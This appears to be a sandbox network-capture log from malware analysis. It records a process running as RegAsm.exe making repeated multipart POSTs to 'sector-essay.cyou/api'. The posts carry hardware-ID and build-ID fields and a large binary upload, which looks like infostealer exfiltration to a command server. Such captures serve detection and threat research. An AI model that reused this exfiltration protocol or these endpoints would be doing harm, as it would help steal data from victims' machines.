2024-11-24 07:35:42 UTC	12780	OUT	Data Raw: 2d 2d 42 46 38 48 53 47 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 39 37 45 44 37 42 33 41 37 35 38 37 31 37 46 45 45 38 31 35 45 42 34 30 33 46 35 44 35 34 0d 0a 2d 2d 42 46 38 48 53 47 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 46 38 48 53 47 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 32 38 31 35 34 37 31 37 0d 0a 2d 2d 42 46 38 48 53 47 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --BF8HSG09Content-Disposition: form-data; name="hwid"5697ED7B3A758717FEE815EB403F5D54--BF8HSG09Content-Disposition: form-data; name="pid"2--BF8HSG09Content-Disposition: form-data; name="lid"yau6Na--6928154717--BF8HSG09Content-Dis
2024-11-24 07:35:43 UTC	1025	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:35:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6npuqheb793frp93jsch6tuhhk; expires=Thu, 20-Mar-2025 01:22:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nuKZfqspgGtDiiKBHc8Rg4a7G2SUipUuCCRvpJt%2FjGMp06hpYsqq2k2IorR%2Ffmq%2Bl1mCuSbbO5MahXfnq12A8mdO0JLKbzi5AtiGjQV6%2BARU%2By7RD4tfIuzM%2FefO3fwaJIjH8A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77b94e6ad343c8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1682&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13711&delivery_rate=1697674&cwnd=191&unsent_bytes=0&cid=c436299850488d7f&ts=780&x=0"
2024-11-24 07:35:43 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 07:35:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49708	104.21.47.136	443	6392	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:35:44 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=URWJUSLA0OTC7DX0W User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15076 Host: sector-essay.cyou
2024-11-24 07:35:44 UTC	15076	OUT	Data Raw: 2d 2d 55 52 57 4a 55 53 4c 41 30 4f 54 43 37 44 58 30 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 39 37 45 44 37 42 33 41 37 35 38 37 31 37 46 45 45 38 31 35 45 42 34 30 33 46 35 44 35 34 0d 0a 2d 2d 55 52 57 4a 55 53 4c 41 30 4f 54 43 37 44 58 30 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 52 57 4a 55 53 4c 41 30 4f 54 43 37 44 58 30 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 32 38 31 35 34 37 Data Ascii: --URWJUSLA0OTC7DX0WContent-Disposition: form-data; name="hwid"5697ED7B3A758717FEE815EB403F5D54--URWJUSLA0OTC7DX0WContent-Disposition: form-data; name="pid"2--URWJUSLA0OTC7DX0WContent-Disposition: form-data; name="lid"yau6Na--69281547
2024-11-24 07:35:45 UTC	1023	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3entc8mfg1fvnfl2nsfn1jsptd; expires=Thu, 20-Mar-2025 01:22:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dsxi%2FvOALdXKL4xobg3laRvvz3wWpteHE15HLdrhIA6w4lu0JcPKDTJVj%2FONRuLDuik%2FO5TQOR2owsnTyDPXK8RafxkX39aplxFuEz7GjxRvyi%2BBtKl9MN3ORpiQdfB%2Fmn71wQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77b95aff9ede97-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1475&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16016&delivery_rate=1849271&cwnd=216&unsent_bytes=0&cid=d1c3934039c2d0a4&ts=759&x=0"
2024-11-24 07:35:45 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 07:35:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49709	104.21.47.136	443	6392	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:35:47 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IT1UG7M6MS1IK92F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20560 Host: sector-essay.cyou
2024-11-24 07:35:47 UTC	15331	OUT	Data Raw: 2d 2d 49 54 31 55 47 37 4d 36 4d 53 31 49 4b 39 32 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 39 37 45 44 37 42 33 41 37 35 38 37 31 37 46 45 45 38 31 35 45 42 34 30 33 46 35 44 35 34 0d 0a 2d 2d 49 54 31 55 47 37 4d 36 4d 53 31 49 4b 39 32 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 49 54 31 55 47 37 4d 36 4d 53 31 49 4b 39 32 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 32 38 31 35 34 37 31 37 0d Data Ascii: --IT1UG7M6MS1IK92FContent-Disposition: form-data; name="hwid"5697ED7B3A758717FEE815EB403F5D54--IT1UG7M6MS1IK92FContent-Disposition: form-data; name="pid"3--IT1UG7M6MS1IK92FContent-Disposition: form-data; name="lid"yau6Na--6928154717
2024-11-24 07:35:47 UTC	5229	OUT	Data Raw: 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 Data Ascii: vMMZh'F3Wun 4F([:7s~X`nO`
2024-11-24 07:35:47 UTC	1029	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:35:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lp8l4sk54h4ie7m10j9f24up38; expires=Thu, 20-Mar-2025 01:22:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U4%2FF8izdLfH3sqvlBIeofLRnwFL0UkSfqOHen5JORZypDFClRyZGzm%2FTMzcZ%2FOrEi6gZe3WQY7Jr1rVlNky%2B2XSH%2BjXcwSYkASNfR5cgj8%2BheD%2BB6kMtCdkx0pjhf3%2BwqjfO9g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77b9682e405e7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2075&sent=14&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21521&delivery_rate=1272331&cwnd=229&unsent_bytes=0&cid=f4640d0990dcfe69&ts=899&x=0"
2024-11-24 07:35:47 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 07:35:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49710	104.21.47.136	443	6392	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:35:49 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Q50S24M0B9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1208 Host: sector-essay.cyou
2024-11-24 07:35:49 UTC	1208	OUT	Data Raw: 2d 2d 51 35 30 53 32 34 4d 30 42 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 39 37 45 44 37 42 33 41 37 35 38 37 31 37 46 45 45 38 31 35 45 42 34 30 33 46 35 44 35 34 0d 0a 2d 2d 51 35 30 53 32 34 4d 30 42 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 35 30 53 32 34 4d 30 42 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 32 38 31 35 34 37 31 37 0d 0a 2d 2d 51 35 30 53 32 34 4d 30 42 39 0d 0a 43 6f 6e Data Ascii: --Q50S24M0B9Content-Disposition: form-data; name="hwid"5697ED7B3A758717FEE815EB403F5D54--Q50S24M0B9Content-Disposition: form-data; name="pid"1--Q50S24M0B9Content-Disposition: form-data; name="lid"yau6Na--6928154717--Q50S24M0B9Con
2024-11-24 07:35:50 UTC	1012	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:35:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=653ept7uvpsmetsdpldronin79; expires=Thu, 20-Mar-2025 01:22:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SnSS4KhfHhY2KbYVFMilCNFFK9cRGQadsXdqpvyVgdKAEGITd85H7LJYoFuR9PHBtKcda2h86hZ0NC5QJIoGCirtWSYKRn%2Feb1v2QeZe87HshfAKUuEus7PFjiULQ82UIRUi6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77b97679e47d18-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1922&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2118&delivery_rate=1600000&cwnd=216&unsent_bytes=0&cid=b4ad17cdb7724562&ts=750&x=0"
2024-11-24 07:35:50 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 07:35:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49711	104.21.47.136	443	6392	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:35:51 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7YVFSTRYYY2P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569419 Host: sector-essay.cyou
2024-11-24 07:35:51 UTC	15331	OUT	Data Raw: 2d 2d 37 59 56 46 53 54 52 59 59 59 32 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 39 37 45 44 37 42 33 41 37 35 38 37 31 37 46 45 45 38 31 35 45 42 34 30 33 46 35 44 35 34 0d 0a 2d 2d 37 59 56 46 53 54 52 59 59 59 32 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 59 56 46 53 54 52 59 59 59 32 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 32 38 31 35 34 37 31 37 0d 0a 2d 2d 37 59 56 46 53 54 52 59 59 Data Ascii: --7YVFSTRYYY2PContent-Disposition: form-data; name="hwid"5697ED7B3A758717FEE815EB403F5D54--7YVFSTRYYY2PContent-Disposition: form-data; name="pid"1--7YVFSTRYYY2PContent-Disposition: form-data; name="lid"yau6Na--6928154717--7YVFSTRYY
2024-11-24 07:35:51 UTC	15331	OUT	Data Raw: ce 59 b7 3d a2 dd 3e 1b 44 34 7b da 78 94 2a 25 9b 06 a3 d6 37 7f 3d 82 5d 26 2a 5b 60 6d 94 48 10 c5 01 62 98 05 d5 f6 cb 00 bc 6b c5 4c 48 d0 c7 37 fb 07 ef 44 74 9b e8 aa 3b df 03 94 c6 2d d6 af 49 b7 54 34 db f0 77 6c 5b 11 74 53 8e 04 28 e7 05 7e 6d 21 23 21 44 27 86 82 3d 07 19 b9 25 f2 cc 60 34 5c 72 1c 62 ec f6 cd 9d 73 27 30 59 a5 d5 c3 d1 26 0f c3 c3 9a 2f d0 0c 38 1d c2 76 cc ff f4 0b 8f dc e7 4b 82 8c 5b 9b 9e 68 10 51 31 2d f6 48 b8 28 5a 32 f9 ff bd a6 05 79 38 0f 18 8e 99 50 bf 28 48 8d fa df 35 2f cb a2 60 3f 1c 12 13 2e 20 34 ae d2 e0 4e 5b dc 85 61 bf 0e 63 fd 8d 87 38 f5 2c 47 b3 26 2c f8 44 41 06 95 ab ae 11 b7 de 28 80 b4 22 be 1a 56 94 74 ea fe ad 31 01 bf 22 80 3a c9 ed 6b 81 7b 16 52 6e 0a e8 ec e3 c0 86 76 97 e8 c5 6c b4 58 7d ad Data Ascii: Y=>D4{x%7=]&[`mHbkLH7Dt;-IT4wl[tS(~m!#!D'=%`4\rbs'0Y&/8vK[hQ1-H(Z2y8P(H5/`?. 4N[ac8,G&,DA("Vt1":k{RnvlX}
2024-11-24 07:35:51 UTC	15331	OUT	Data Raw: 03 ee 84 40 f8 e7 07 19 7e 0b ac 83 a8 13 6c 39 ba db 81 76 f4 9f 7b f1 d9 94 40 fc d4 65 a2 d0 a6 9f 58 05 ee 42 5f 26 15 8b e4 5a af ef 3e 82 f7 ce 78 ae 65 16 86 f7 2c dc 1e 3e 14 b4 98 50 4f d5 1d 09 ce a9 1e bb a3 34 54 cf 9f 7a b7 58 a0 1f 14 2a 5f 91 7f 09 e0 67 82 1a 76 a6 54 75 75 e8 75 6d 0b 5f fd 5a 70 73 44 58 65 5f cd 7c 43 b7 b3 42 56 f5 76 1c 9c c2 37 09 57 46 03 42 68 7b 2a 2d a5 82 7f 93 cd 1a 7a 39 56 85 03 38 ea d4 05 00 67 4a 93 dd df 79 b8 2b 00 ee 07 3d c4 1f bf 54 01 2e a1 80 84 98 e0 61 1c 1c 9e fb 7b a1 6e 13 1e 3c 91 89 5c fd bf e1 8b 31 f3 1f 5c 3a 0b ce 22 4c 4e 2b cd 86 9b 02 fc c8 74 e4 3c db 37 7f 6f a7 4a cb 36 79 c8 9d 17 c1 51 19 96 73 81 f5 c3 90 78 38 a5 9a ed 5d 6c 95 fd ac 29 bf e7 d8 9d 27 47 61 19 64 9a 6a bd ae b2 Data Ascii: @~l9v{@eXB_&Z>xe,>PO4TzX_gvTuuum_ZpsDXe_\|CBVv7WFBh{-z9V8gJy+=T.a{n<\1\:"LN+t<7oJ6yQsx8]l)'Gadj
2024-11-24 07:35:51 UTC	15331	OUT	Data Raw: 52 81 63 26 64 89 04 fa e3 8f 91 10 a0 9e 14 63 d1 f0 7c 1f 3c a6 33 04 ca 96 dc 1e b4 e1 27 40 80 54 98 1e 5f c5 73 81 63 64 96 fb b2 62 91 83 a5 6a 8d c7 95 6b 42 02 2e 0b 69 51 c1 17 92 89 99 cb 94 91 5a 4d e8 33 45 76 ef c5 03 c1 04 1d b1 a3 b8 cf fb f0 0c 92 a2 71 55 6b 43 d8 37 40 18 22 c0 06 10 be 43 f6 6d 14 d1 4e 95 7c a1 3d 54 78 c1 81 c2 de 5b fb fa ae 07 92 64 aa 06 bb 8c 95 fc 77 ac a6 a4 6d eb df 2e 8a 5d f4 07 3e f9 32 b6 2d 88 ed b9 d1 fe 85 ef be 67 d0 a6 4a aa 84 fd 3c 85 31 81 a2 64 10 66 4c ee 30 d2 9d 1f 72 d3 6c cc da 2d 7a d4 d7 16 1f ef 45 32 6d 88 3c ee cf 0b 88 a0 59 d9 20 49 2d 1b c5 47 c9 81 ca bd 21 31 9d e2 b9 7b 07 24 c1 68 a2 45 68 56 6a ca 0b c2 54 ef 48 71 af 51 46 54 a8 f3 eb fc 20 8a 37 be 0c ec fd f0 ed 40 b8 d4 da e9 Data Ascii: Rc&dc\|<3'@T_scdbjkB.iQZM3EvqUkC7@"CmN\|=Tx[dwm.]>2-gJ<1dfL0rl-zE2m<Y I-G!1{$hEhVjTHqQFT 7@
2024-11-24 07:35:51 UTC	15331	OUT	Data Raw: 3e 1a 2f bd f7 a7 0f b2 a0 ef f7 20 8d 99 e3 14 5a 2d f1 c9 90 5e 41 02 f7 ec 4e 9a 3f 97 3b 54 a8 28 5b bf fc 5f d0 16 a4 2d ed 1f 41 90 3f 0d 86 6a 00 9a 10 3f 6c b7 57 85 a8 20 52 10 25 88 56 87 43 76 ec a4 ee d9 fa 00 b1 4a e7 c5 cc d0 7f 07 11 54 1d 41 c4 04 aa da e7 50 0c 1b e3 e9 fb ff b7 2a fe 9f 43 34 06 66 cc 45 22 38 18 3a 70 11 d0 c1 dd 8c 93 03 e1 4a 7f c9 53 7d 54 71 14 20 fd ca 77 2e eb 5e 54 80 04 bf 19 05 c1 76 be d3 ba 5f a7 00 91 9f e2 d4 22 57 02 f0 0b 29 9f 08 31 81 d9 71 e4 5a ab 70 22 6e 6d fb a9 fc e1 d6 b3 31 e9 8b 1e 56 a4 24 a4 cc 41 c8 fa a8 87 f9 33 a8 ad 8c 2f b1 79 b9 c2 ee 31 7a e6 55 37 e7 75 ab 16 7c ae b9 33 1c 62 cb 42 71 8b 85 30 6a 39 83 0a 45 27 00 bd 61 af 09 be 38 ee 9d 5c ba 1f f9 c9 44 f8 67 44 6e 9b 4e 2b b7 51 Data Ascii: >/ Z-^AN?;T([_-A?j?lW R%VCvJTAP*C4fE"8:pJS}Tq w.^Tv_"W)1qZp"nm1V$A3/y1zU7u\|3bBq0j9E'a8\DgDnN+Q
2024-11-24 07:35:51 UTC	15331	OUT	Data Raw: 4a f5 81 cc 5a 10 0a e8 b0 d3 f6 02 3d 71 d4 9a 8f 00 e5 9c 7e 71 06 d4 6b 30 5a a4 01 4e 33 bd 3e 71 37 7e a4 0d 70 1b 2a ec 8e 8c b2 1f 97 27 ab ab 91 b3 8c 57 95 7b 8f 0d 46 74 4b 34 1f 4c af 8d 20 91 e9 02 99 0e 3f 26 75 5b 26 59 f6 bc bf 60 fa 36 94 c8 23 b5 ec ac 87 34 27 90 af cf 03 b3 4e 42 17 26 36 7e 9b 22 9e 56 31 db c9 58 a9 cd 2c af 85 34 af 75 40 1f 74 61 6d 80 0d 22 d2 12 e4 17 30 03 77 12 74 9a fc 8b fe aa a3 1f 62 47 2e 4e c4 bc 97 e6 40 28 63 c1 67 25 04 bb da 0c d9 a8 5e 14 c1 f4 bc 21 d1 35 26 ec a4 07 c3 bc 92 e7 ff 4b 9b 6c ba 93 e8 9f 14 1f 61 2c 4c 60 95 98 2f e7 e3 62 13 b1 3e a7 e5 59 42 93 96 12 43 7d 3b d5 d6 ee 6f cd 96 8c b8 ed a4 5a 87 92 10 16 ec 3a 62 f3 88 38 81 ed 2b d7 9b 9f e5 98 a3 8c 5b 7e 77 9c 8b 9a c2 8f b9 71 47 Data Ascii: JZ=q~qk0ZN3>q7~p*'W{FtK4L ?&u[&Y`6#4'NB&6~"V1X,4u@tam"0wtbG.N@(cg%^!5&Kla,L`/b>YBC};oZ:b8+[~wqG
2024-11-24 07:35:51 UTC	15331	OUT	Data Raw: f3 34 8a 71 56 b0 79 cf ee d2 f0 8a fa e9 05 14 43 03 df 2c 49 08 99 fb ee f5 4f 09 0c c7 46 ef 22 dc 81 88 59 52 94 de 4a 59 5a 8d ad 33 9c d1 6f c7 c8 f2 c1 be 38 6e 52 7c 77 41 57 5a e2 ec 44 56 1c 2d 4c 82 69 2f 9d da b6 57 1c 73 fb 32 d4 a7 00 23 30 21 84 89 0f c4 12 17 b9 05 ba 66 8f 1f 73 bd 54 22 c3 3e a9 5e 2a e1 fa bb 4d e0 96 c2 01 35 49 7f 94 5b 22 45 76 32 79 ff 6b 64 34 91 64 c2 6a dd 1a 22 1e af d1 f0 ca 5e 10 9f 16 a1 04 07 0b 00 14 ef 9b 31 77 9f 38 64 d5 42 96 85 8d 9c e4 d1 e6 e5 c0 17 c2 67 4a 88 67 4a d5 1f 3d 1a 1b 74 34 3b 19 9f 35 f0 13 53 30 47 c2 86 95 fd 90 63 61 62 fa 78 5f e6 29 ad df d6 8f d1 73 6c ad 0a 4c 98 a1 4b 95 89 af 93 25 28 05 39 78 a4 7c b2 0b 4a c0 30 bb c3 5b 97 96 ee cb 7a 1f 47 8c 8d 5b 33 0b 12 30 e8 98 d4 55 Data Ascii: 4qVyC,IOF"YRJYZ3o8nR\|wAWZDV-Li/Ws2#0!fsT">^*M5I["Ev2ykd4dj"^1w8dBgJgJ=t4;5S0Gcabx_)slLK%(9x\|J0[zG[30U
2024-11-24 07:35:51 UTC	15331	OUT	Data Raw: 71 78 5e de 20 1d eb a7 e3 c0 4a 08 24 f6 c5 d1 28 02 46 c1 12 fc 3f be b9 a7 11 5f 53 e2 6f 98 3c f6 93 eb e1 71 89 08 7a 27 26 f5 4b 95 d1 16 cd c5 41 93 22 1f d1 4a ca 20 73 d6 50 8f 7d 5a d0 b8 9e d6 fe 3d e3 37 21 a0 b9 19 6a 6b a1 4f f3 9b ce 5e ce 8f 32 d5 8b b8 73 7b 7f 2a fa ce e4 40 41 8b ca fc cf a8 fc 10 6d 62 4a 8d 19 dd ac 99 a7 8e fd a5 f8 09 55 6e 23 ee c4 89 dc 6e 17 85 33 f6 9d e7 15 37 2f 28 23 f8 4a 7f df 38 41 7a 3f df 97 ad 6a aa ef 90 9c f5 cb a6 06 59 a8 e1 43 79 07 88 95 2e 51 1f 86 b7 78 89 9b 23 86 3e 4e 3d eb e7 01 18 1a d8 ea 9f c3 51 fe 1d 6a 9b 66 f9 9f bd 0a 81 b2 6e d9 97 95 81 87 56 39 ab f8 f8 03 bf 44 45 04 49 87 a4 94 10 7d c7 ba 44 1d e9 b9 d1 f2 e0 6e 37 9c 31 36 5b 71 4a bb 97 9a 36 dd a2 cf f1 a9 b8 7a 68 6b 63 bd Data Ascii: qx^ J$(F?_So<qz'&KA"J sP}Z=7!jkO^2s{*@AmbJUn#n37/(#J8Az?jYCy.Qx#>N=QjfnV9DEI}Dn716[qJ6zhkc
2024-11-24 07:35:51 UTC	15331	OUT	Data Raw: 90 e2 88 c5 ca a4 09 cb 06 e2 60 75 66 9e 13 b7 98 fd cf 76 17 4d 90 78 ad eb ff ba 13 f6 82 ab 5a 52 27 62 44 e3 1b 54 1e 98 06 24 96 bd 4d dd 8d 3d fa 94 c9 3a 21 10 61 ef 3d 8a 6f eb a6 75 f7 31 fc 6b f9 ab 35 ac 28 df 6f e7 5e af 96 c7 e2 a5 92 68 76 5e 8d e6 fe cc c4 95 23 eb 63 67 bf b5 ff b7 8b 26 b8 f0 f5 97 6a 97 ff 86 95 d7 21 18 32 c4 7e 31 40 62 18 e9 73 e2 3c 8b c6 c3 72 aa ce 71 65 3c 67 c7 d1 26 6e d7 cc 0e 10 94 ea ba c6 43 d6 3f b2 87 78 b1 b2 c1 58 01 67 4c 79 c5 a7 91 93 b2 6e af 88 f0 32 21 ab 20 9a 74 a9 51 ab 88 59 13 38 04 c7 19 e7 8f d6 5b 7d 98 b9 79 40 c8 52 f9 78 dd d6 de ec ab d5 51 31 12 98 df f8 b8 66 e3 d2 ed bd ce 4b c9 74 12 82 d4 cc 56 02 6d 4f 5c ae 63 4f 16 22 22 c7 6e 31 dd 9d e0 e8 4d c4 b2 e2 ac 95 36 d1 1d bd 98 49 Data Ascii: `ufvMxZR'bDT$M=:!a=ou1k5(o^hv^#cg&j!2~1@bs<rqe<g&nC?xXgLyn2! tQY8[}y@RxQ1fKtVmO\cO""n1M6I
